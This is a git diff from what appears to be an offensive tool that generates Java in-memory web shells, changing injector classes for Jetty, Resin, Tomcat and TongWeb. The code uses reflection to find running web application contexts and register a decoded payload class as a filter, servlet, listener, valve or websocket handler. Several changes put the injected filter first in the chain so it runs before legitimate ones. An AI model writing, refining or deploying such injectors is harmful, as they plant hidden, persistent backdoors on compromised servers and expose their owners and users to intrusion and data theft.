b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java index 2c2aeff3..dfa9f43e 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java @@ -42,7 +42,7 @@ public JettyServletInjector() { } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts == null) { + if (contexts == null || contexts.isEmpty()) { msg += "context not found"; } else { for (Object context : contexts) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterInjector.java index 93cbeea4..9087a1af 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterInjector.java @@ -39,7 +39,7 @@ public ResinFilterInjector() { } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts == null) { + if (contexts == null || contexts.isEmpty()) { msg += "context not found"; } else { for (Object context : contexts) { @@ -136,6 +136,11 @@ private void inject(Object context, Object filter) throws Exception { invokeMethod(urlPattern, "addText", new Class[]{String.class}, new Object[]{getUrlPattern()}); invokeMethod(urlPattern, "init", null, null); invokeMethod(context, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMappingImpl}); + + List filterMappings = (List) getFieldValue(getFieldValue(context, "_filterMapper"), "_filterMap"); + filterMappings.remove(filterMappingImpl); + filterMappings.add(0, filterMappingImpl); + invokeMethod(context, "clearCache", null, null); } @@ -193,30 +198,25 @@ public static Object getFieldValue(Object obj, String name) throws Exception { } @SuppressWarnings("all") - public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) { - try { - Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); - Method method = null; - while (clazz != null && method == null) { - try { - if (paramClazz == null) { - method = clazz.getDeclaredMethod(methodName); - } else { - method = clazz.getDeclaredMethod(methodName, paramClazz); - } - } catch (NoSuchMethodException e) { - clazz = clazz.getSuperclass(); + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws Exception { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); } - if (method == null) { - throw new NoSuchMethodException("Method not found: " + methodName); - } - - method.setAccessible(true); - return method.invoke(obj instanceof Class ? null : obj, param); - } catch (Exception e) { - throw new RuntimeException("Error invoking method: " + methodName, e); } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); } @SuppressWarnings("all") diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinListenerInjector.java index a27128e5..496496a0 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinListenerInjector.java @@ -38,7 +38,7 @@ public ResinListenerInjector() { } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts == null) { + if (contexts == null || contexts.isEmpty()) { msg += "context not found"; } else { for (Object context : contexts) { @@ -182,30 +182,25 @@ public static Object getFieldValue(Object obj, String name) throws Exception { } @SuppressWarnings("all") - public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) { - try { - Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); - Method method = null; - while (clazz != null && method == null) { - try { - if (paramClazz == null) { - method = clazz.getDeclaredMethod(methodName); - } else { - method = clazz.getDeclaredMethod(methodName, paramClazz); - } - } catch (NoSuchMethodException e) { - clazz = clazz.getSuperclass(); + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws Exception { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); } - if (method == null) { - throw new NoSuchMethodException("Method not found: " + methodName); - } - - method.setAccessible(true); - return method.invoke(obj instanceof Class ? null : obj, param); - } catch (Exception e) { - throw new RuntimeException("Error invoking method: " + methodName, e); } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); } @SuppressWarnings("all") diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinServletInjector.java index 01c5b9a1..36fc1698 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinServletInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinServletInjector.java @@ -40,7 +40,7 @@ public ResinServletInjector() { } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts == null) { + if (contexts == null || contexts.isEmpty()) { msg += "context not found"; } else { for (Object context : contexts) { @@ -183,30 +183,25 @@ public static Object getFieldValue(Object obj, String name) throws Exception { } @SuppressWarnings("all") - public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) { - try { - Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); - Method method = null; - while (clazz != null && method == null) { - try { - if (paramClazz == null) { - method = clazz.getDeclaredMethod(methodName); - } else { - method = clazz.getDeclaredMethod(methodName, paramClazz); - } - } catch (NoSuchMethodException e) { - clazz = clazz.getSuperclass(); + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws Exception { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); } - if (method == null) { - throw new NoSuchMethodException("Method not found: " + methodName); - } - - method.setAccessible(true); - return method.invoke(obj instanceof Class ? null : obj, param); - } catch (Exception e) { - throw new RuntimeException("Error invoking method: " + methodName, e); } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); } @SuppressWarnings("all") diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java index 5bec4d50..5efb7d49 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java @@ -4,6 +4,7 @@ import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.PrintStream; +import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; @@ -42,7 +43,7 @@ public TomcatFilterInjector() { } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts == null) { + if (contexts == null || contexts.isEmpty()) { msg += "context not found"; } else { for (Object context : contexts) { @@ -60,22 +61,6 @@ public TomcatFilterInjector() { System.out.println(msg); } - @SuppressWarnings("all") - private String getContextRoot(Object context) { - String r = null; - try { - r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null); - } catch (Exception ignored) { - } - String c = context.getClass().getName(); - if (r == null) { - return c; - } - if (r.isEmpty()) { - return c + "(/)"; - } - return c + "(" + r + ")"; - } /** * org.apache.catalina.core.StandardContext * /usr/local/tomcat/server/lib/catalina.jar @@ -117,6 +102,23 @@ public Set getContext() throws Exception { return contexts; } + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } + private ClassLoader getWebAppClassLoader(Object context) throws Exception { try { return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); @@ -149,15 +151,18 @@ public void inject(Object context, Object shell) throws Exception { } Object filterDef; Object filterMap; + Class filterMapClass; ClassLoader contextClassLoader = context.getClass().getClassLoader(); try { // tomcat v8+ filterDef = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance(); - filterMap = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance(); + filterMapClass = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap"); + filterMap = filterMapClass.newInstance(); } catch (Exception e2) { // tomcat v5+ filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance(); - filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance(); + filterMapClass = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap"); + filterMap = filterMapClass.newInstance(); } invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()}); @@ -175,11 +180,17 @@ public void inject(Object context, Object shell) throws Exception { // tomcat v5 invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); } + + // addFilterMapFirst + Object[] filterMaps = (Object[]) invokeMethod(context, "findFilterMaps", null, null); + Object[] results = (Object[]) Array.newInstance(filterMapClass, filterMaps.length + 1); + results[0] = filterMap; + System.arraycopy(filterMaps, 0, results, 1, filterMaps.length); try { - // v7.0.0 以上 - invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); + // Tomcat5 + setFieldValue(context, "filterMaps", results); } catch (Exception e) { - invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); + setFieldValue(getFieldValue(context, "filterMaps"), "array", results); } Constructor filterConfigConstructor; @@ -251,20 +262,34 @@ public static Object invokeMethod(Object obj, String methodName, Class[] para } @SuppressWarnings("all") - public static Object getFieldValue(Object obj, String name) throws Exception { - Class clazz = obj.getClass(); - while (clazz != Object.class) { + public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + for (Class clazz = obj.getClass(); + clazz != Object.class; + clazz = clazz.getSuperclass()) { try { - Field field = clazz.getDeclaredField(name); - field.setAccessible(true); - return field.get(obj); - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); + return clazz.getDeclaredField(name); + } catch (NoSuchFieldException ignored) { + } } throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + Field field = getField(obj, name); + field.setAccessible(true); + return field.get(obj); + } + + + public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { + Field field = getField(obj, fieldName); + field.setAccessible(true); + field.set(obj, value); + } + @SuppressWarnings("all") private String getErrorMessage(Throwable throwable) { PrintStream printStream = null; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java index dec479b8..350aed41 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java @@ -35,7 +35,7 @@ public TomcatListenerInjector() { } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts == null) { + if (contexts == null || contexts.isEmpty()) { msg += "context not found"; } else { for (Object context : contexts) { @@ -53,23 +53,6 @@ public TomcatListenerInjector() { System.out.println(msg); } - @SuppressWarnings("all") - private String getContextRoot(Object context) { - String r = null; - try { - r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null); - } catch (Exception ignored) { - } - String c = context.getClass().getName(); - if (r == null) { - return c; - } - if (r.isEmpty()) { - return c + "(/)"; - } - return c + "(" + r + ")"; - } - public Set getContext() throws Exception { Set contexts = new HashSet(); Set threads = Thread.getAllStackTraces().keySet(); @@ -107,7 +90,24 @@ public Set getContext() throws Exception { return contexts; } - private ClassLoader getWebAppClassLoader(Object context) { + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } + + private ClassLoader getWebAppClassLoader(Object context) throws Exception { try { return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); } catch (Exception e) { @@ -226,30 +226,25 @@ public static void setFieldValue(final Object obj, final String fieldName, final } @SuppressWarnings("all") - public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) { - try { - Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); - Method method = null; - while (clazz != null && method == null) { - try { - if (paramClazz == null) { - method = clazz.getDeclaredMethod(methodName); - } else { - method = clazz.getDeclaredMethod(methodName, paramClazz); - } - } catch (NoSuchMethodException e) { - clazz = clazz.getSuperclass(); + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws Exception { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); } - if (method == null) { - throw new NoSuchMethodException("Method not found: " + methodName); - } - - method.setAccessible(true); - return method.invoke(obj instanceof Class ? null : obj, param); - } catch (Exception e) { - throw new RuntimeException("Error invoking method: " + methodName, e); } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); } @SuppressWarnings("all") diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java index 2162582b..2a4e2c9b 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java @@ -8,7 +8,9 @@ import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method; import java.lang.reflect.Proxy; -import java.util.*; +import java.util.HashSet; +import java.util.Map; +import java.util.Set; import java.util.zip.GZIPInputStream; /** @@ -21,6 +23,14 @@ public class TomcatProxyValveInjector implements InvocationHandler { private static String msg = ""; private static boolean ok = false; + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() { + return "{{base64Str}}"; + } + public TomcatProxyValveInjector() { if (ok) { return; @@ -31,7 +41,7 @@ public TomcatProxyValveInjector() { } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts == null) { + if (contexts == null || contexts.isEmpty()) { msg += "context not found"; } else { for (Object context : contexts) { @@ -49,36 +59,11 @@ public TomcatProxyValveInjector() { System.out.println(msg); } - @SuppressWarnings("all") - private String getContextRoot(Object context) { - String r = null; - try { - r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null); - } catch (Exception ignored) { - } - String c = context.getClass().getName(); - if (r == null) { - return c; - } - if (r.isEmpty()) { - return c + "(/)"; - } - return c + "(" + r + ")"; - } - public TomcatProxyValveInjector(Object rawValve, Object proxyValve) { this.rawValve = rawValve; this.proxyValve = proxyValve; } - public String getClassName() { - return "{{className}}"; - } - - public String getBase64String() { - return "{{base64Str}}"; - } - @Override public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { if ("invoke".equals(method.getName())) { @@ -133,6 +118,23 @@ public Set getContext() throws Exception { return contexts; } + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } + private ClassLoader getWebAppClassLoader(Object context) { try { return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java index 8a4f9a08..dab892d2 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java @@ -8,7 +8,9 @@ import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; -import java.util.*; +import java.util.HashSet; +import java.util.Map; +import java.util.Set; import java.util.zip.GZIPInputStream; /** @@ -42,7 +44,7 @@ public TomcatServletInjector() { } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts == null) { + if (contexts == null || contexts.isEmpty()) { msg += "context not found"; } else { for (Object context : contexts) { @@ -60,23 +62,6 @@ public TomcatServletInjector() { System.out.println(msg); } - @SuppressWarnings("all") - private String getContextRoot(Object context) { - String r = null; - try { - r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null); - } catch (Exception ignored) { - } - String c = context.getClass().getName(); - if (r == null) { - return c; - } - if (r.isEmpty()) { - return c + "(/)"; - } - return c + "(" + r + ")"; - } - public Set getContext() throws Exception { Set contexts = new HashSet(); Set threads = Thread.getAllStackTraces().keySet(); @@ -114,6 +99,23 @@ public Set getContext() throws Exception { return contexts; } + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } + private ClassLoader getWebAppClassLoader(Object context) { try { return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatUpgradeInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatUpgradeInjector.java index 3109fdeb..89e1bce8 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatUpgradeInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatUpgradeInjector.java @@ -37,7 +37,7 @@ public TomcatUpgradeInjector() { } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts == null) { + if (contexts == null || contexts.isEmpty()) { msg += "context not found"; } else { for (Object context : contexts) { @@ -55,23 +55,6 @@ public TomcatUpgradeInjector() { System.out.println(msg); } - @SuppressWarnings("all") - private String getContextRoot(Object context) { - String r = null; - try { - r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null); - } catch (Exception ignored) { - } - String c = context.getClass().getName(); - if (r == null) { - return c; - } - if (r.isEmpty()) { - return c + "(/)"; - } - return c + "(" + r + ")"; - } - /** * org.apache.catalina.core.StandardContext * /usr/local/tomcat/server/lib/catalina.jar @@ -113,6 +96,23 @@ public Set getContext() throws Exception { return contexts; } + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } + @SuppressWarnings("all") private Object getShell(Object context) throws Exception { ClassLoader classLoader = context.getClass().getClassLoader(); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java index bd4abbed..89d2f86d 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java @@ -35,7 +35,7 @@ public TomcatValveInjector() { } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts == null) { + if (contexts == null || contexts.isEmpty()) { msg += "context not found"; } else { for (Object context : contexts) { @@ -53,23 +53,6 @@ public TomcatValveInjector() { System.out.println(msg); } - @SuppressWarnings("all") - private String getContextRoot(Object context) { - String r = null; - try { - r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null); - } catch (Exception ignored) { - } - String c = context.getClass().getName(); - if (r == null) { - return c; - } - if (r.isEmpty()) { - return c + "(/)"; - } - return c + "(" + r + ")"; - } - public Set getContext() throws Exception { Set contexts = new HashSet(); Set threads = Thread.getAllStackTraces().keySet(); @@ -107,6 +90,23 @@ public Set getContext() throws Exception { return contexts; } + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } + @SuppressWarnings("all") private Object getShell(Object context) throws Exception { ClassLoader classLoader = context.getClass().getClassLoader(); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java index f01f812a..6a597ab0 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java @@ -7,7 +7,9 @@ import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; -import java.util.*; +import java.util.HashSet; +import java.util.Map; +import java.util.Set; import java.util.zip.GZIPInputStream; /** @@ -41,7 +43,7 @@ public TomcatWebSocketInjector() { } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts == null) { + if (contexts == null || contexts.isEmpty()) { msg += "context not found"; } else { for (Object context : contexts) { @@ -59,23 +61,6 @@ public TomcatWebSocketInjector() { System.out.println(msg); } - @SuppressWarnings("all") - private String getContextRoot(Object context) { - String r = null; - try { - r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null); - } catch (Exception ignored) { - } - String c = context.getClass().getName(); - if (r == null) { - return c; - } - if (r.isEmpty()) { - return c + "(/)"; - } - return c + "(" + r + ")"; - } - public Set getContext() throws Exception { Set contexts = new HashSet(); Set threads = Thread.getAllStackTraces().keySet(); @@ -113,6 +98,23 @@ public Set getContext() throws Exception { return contexts; } + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } + private ClassLoader getWebAppClassLoader(Object context) { try { return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java index 3f42703a..52443cfa 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java @@ -4,6 +4,7 @@ import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.PrintStream; +import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; @@ -43,7 +44,7 @@ public TongWebFilterInjector() { } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts == null) { + if (contexts == null || contexts.isEmpty()) { msg += "context not found"; } else { for (Object context : contexts) { @@ -116,7 +117,7 @@ public Set getContext() throws Exception { return contexts; } - private ClassLoader getWebAppClassLoader(Object context) { + private ClassLoader getWebAppClassLoader(Object context) throws Exception { try { return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); } catch (Exception e) { @@ -149,24 +150,28 @@ public void inject(Object context, Object filter) throws Exception { String filterClassName = getClassName(); Object filterDef; Object filterMap; + Class filterMapClass; Constructor constructor; ClassLoader contextClassLoader = context.getClass().getClassLoader(); try { // tongweb 7 constructor = contextClassLoader.loadClass("com.tongweb.catalina.core.ApplicationFilterConfig").getDeclaredConstructors()[0]; filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance(); - filterMap = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap").newInstance(); + filterMapClass = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap"); + filterMap = filterMapClass.newInstance(); } catch (Exception e2) { try { // tongweb 6 constructor = contextClassLoader.loadClass("com.tongweb.web.thor.core.ApplicationFilterConfig").getDeclaredConstructors()[0]; filterDef = contextClassLoader.loadClass("com.tongweb.web.thor.deploy.FilterDef").newInstance(); - filterMap = contextClassLoader.loadClass("com.tongweb.web.thor.deploy.FilterMap").newInstance(); + filterMapClass = contextClassLoader.loadClass("com.tongweb.web.thor.deploy.FilterMap"); + filterMap = filterMapClass.newInstance(); } catch (Exception e) { // tongweb 8 constructor = contextClassLoader.loadClass("com.tongweb.server.core.ApplicationFilterConfig").getDeclaredConstructors()[0]; filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance(); - filterMap = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap").newInstance(); + filterMapClass = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap"); + filterMap = filterMapClass.newInstance(); } } invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName}); @@ -174,7 +179,13 @@ public void inject(Object context, Object filter) throws Exception { invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef}); invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName}); invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); - invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); + + // addFilterMapFirst + Object[] filterMaps = (Object[]) invokeMethod(context, "findFilterMaps", null, null); + Object[] results = (Object[]) Array.newInstance(filterMapClass, filterMaps.length + 1); + results[0] = filterMap; + System.arraycopy(filterMaps, 0, results, 1, filterMaps.length); + setFieldValue(getFieldValue(context, "filterMaps"), "array", results); constructor.setAccessible(true); Object filterConfig = constructor.newInstance(context, filterDef); @@ -221,48 +232,58 @@ public static byte[] gzipDecompress(byte[] compressedData) throws IOException { } @SuppressWarnings("all") - public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) { - try { - Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); - Method method = null; - while (clazz != null && method == null) { - try { - if (paramClazz == null) { - method = clazz.getDeclaredMethod(methodName); - } else { - method = clazz.getDeclaredMethod(methodName, paramClazz); - } - } catch (NoSuchMethodException e) { - clazz = clazz.getSuperclass(); + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws Exception { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); } - if (method == null) { - throw new NoSuchMethodException("Method not found: " + methodName); - } - - method.setAccessible(true); - return method.invoke(obj instanceof Class ? null : obj, param); - } catch (Exception e) { - throw new RuntimeException("Error invoking method: " + methodName, e); } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); } + @SuppressWarnings("all") - public static Object getFieldValue(Object obj, String name) throws Exception { - Class clazz = obj.getClass(); - while (clazz != Object.class) { + public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + for (Class clazz = obj.getClass(); + clazz != Object.class; + clazz = clazz.getSuperclass()) { try { - Field field = clazz.getDeclaredField(name); - field.setAccessible(true); - return field.get(obj); - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); + return clazz.getDeclaredField(name); + } catch (NoSuchFieldException ignored) { + } } throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); } + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + Field field = getField(obj, name); + field.setAccessible(true); + return field.get(obj); 